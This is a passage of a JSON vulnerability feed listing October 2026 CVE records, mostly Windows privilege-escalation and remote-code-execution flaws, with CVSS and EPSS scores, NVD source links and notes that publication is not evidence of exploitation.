is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:12.240Z","updatedAt":"2026-10-16T16:21:17.650Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83692","asOf":"2026-10-16T16:21:17.650Z"},"epss":{"probability":0.00361,"percentile":0.29672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83692&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83692","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83692","type":"primary","publishedAt":"2026-10-13T19:20:12.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83692&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83692, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83691","cveId":"CVE-2026-83691","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:12.047Z","updatedAt":"2026-10-16T16:21:17.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83691","asOf":"2026-10-16T16:21:17.480Z"},"epss":{"probability":0.00361,"percentile":0.29672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83691&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83691","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83691","type":"primary","publishedAt":"2026-10-13T19:20:12.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83691&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83691, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83690","cveId":"CVE-2026-83690","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:11.853Z","updatedAt":"2026-10-16T16:21:17.337Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83690","asOf":"2026-10-16T16:21:17.337Z"},"epss":{"probability":0.00388,"percentile":0.32607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83690&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83690","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83690","type":"primary","publishedAt":"2026-10-13T19:20:11.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83690&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83690, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83689","cveId":"CVE-2026-83689","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:11.650Z","updatedAt":"2026-10-16T16:21:17.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83689","asOf":"2026-10-16T16:21:17.160Z"},"epss":{"probability":0.00286,"percentile":0.20919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83689&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83689","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83689","type":"primary","publishedAt":"2026-10-13T19:20:11.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83689&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83689, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83688","cveId":"CVE-2026-83688","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:11.453Z","updatedAt":"2026-10-16T16:21:16.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83688","asOf":"2026-10-16T16:21:16.990Z"},"epss":{"probability":0.00948,"percentile":0.60928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83688&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83688","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83688","type":"primary","publishedAt":"2026-10-13T19:20:11.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83688&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83688, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83687","cveId":"CVE-2026-83687","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:11.297Z","updatedAt":"2026-10-13T21:18:35.653Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83687","asOf":"2026-10-13T21:18:35.653Z"},"epss":{"probability":0.00286,"percentile":0.2092,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83687&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83687","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83687","type":"primary","publishedAt":"2026-10-13T19:20:11.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83687&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83687, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83682","cveId":"CVE-2026-83682","aliases":[],"kind":"vulnerability","title":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:10.527Z","updatedAt":"2026-10-16T16:21:16.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83682","asOf":"2026-10-16T16:21:16.217Z"},"epss":{"probability":0.00286,"percentile":0.20918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83682","type":"primary","publishedAt":"2026-10-13T19:20:10.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83682, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83680","cveId":"CVE-2026-83680","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:10.233Z","updatedAt":"2026-10-16T16:21:15.977Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83680","asOf":"2026-10-16T16:21:15.977Z"},"epss":{"probability":0.00258,"percentile":0.17254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83680&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83680","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83680","type":"primary","publishedAt":"2026-10-13T19:20:10.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83680&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83680, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83679","cveId":"CVE-2026-83679","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:10.103Z","updatedAt":"2026-10-14T04:18:40.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83679","asOf":"2026-10-14T04:18:40.147Z"},"epss":{"probability":0.00361,"percentile":0.29679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83679&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83679","type":"primary","publishedAt":"2026-10-13T19:20:10.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83679&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83679, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83678","cveId":"CVE-2026-83678","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:09.920Z","updatedAt":"2026-10-16T16:21:15.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83678","asOf":"2026-10-16T16:21:15.730Z"},"epss":{"probability":0.00361,"percentile":0.29679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83678&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83678","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83678","type":"primary","publishedAt":"2026-10-13T19:20:09.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83678&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83678, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83677","cveId":"CVE-2026-83677","aliases":[],"kind":"vulnerability","title":"Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over a network.","summary":"Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over a network.","detail":"Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:09.793Z","updatedAt":"2026-10-13T21:18:34.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83677","asOf":"2026-10-13T21:18:34.410Z"},"epss":{"probability":0.01125,"percentile":0.66043,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83677&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83677","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83677","type":"primary","publishedAt":"2026-10-13T19:20:09.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83677&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83677, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83676","cveId":"CVE-2026-83676","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Integer underflow (wrap or wraparound) in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Integer underflow (wrap or wraparound) in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:09.653Z","updatedAt":"2026-10-16T16:21:15.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83676","asOf":"2026-10-16T16:21:15.520Z"},"epss":{"probability":0.00286,"percentile":0.2092,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83676&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83676","type":"primary","publishedAt":"2026-10-13T19:20:09.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83676&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83676, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83675","cveId":"CVE-2026-83675","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:09.527Z","updatedAt":"2026-10-13T21:18:34.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83675","asOf":"2026-10-13T21:18:34.173Z"},"epss":{"probability":0.00307,"percentile":0.23263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83675&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83675","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83675","type":"primary","publishedAt":"2026-10-13T19:20:09.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83675&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83675, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83674","cveId":"CVE-2026-83674","aliases":[],"kind":"vulnerability","title":"Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","summary":"Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","detail":"Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 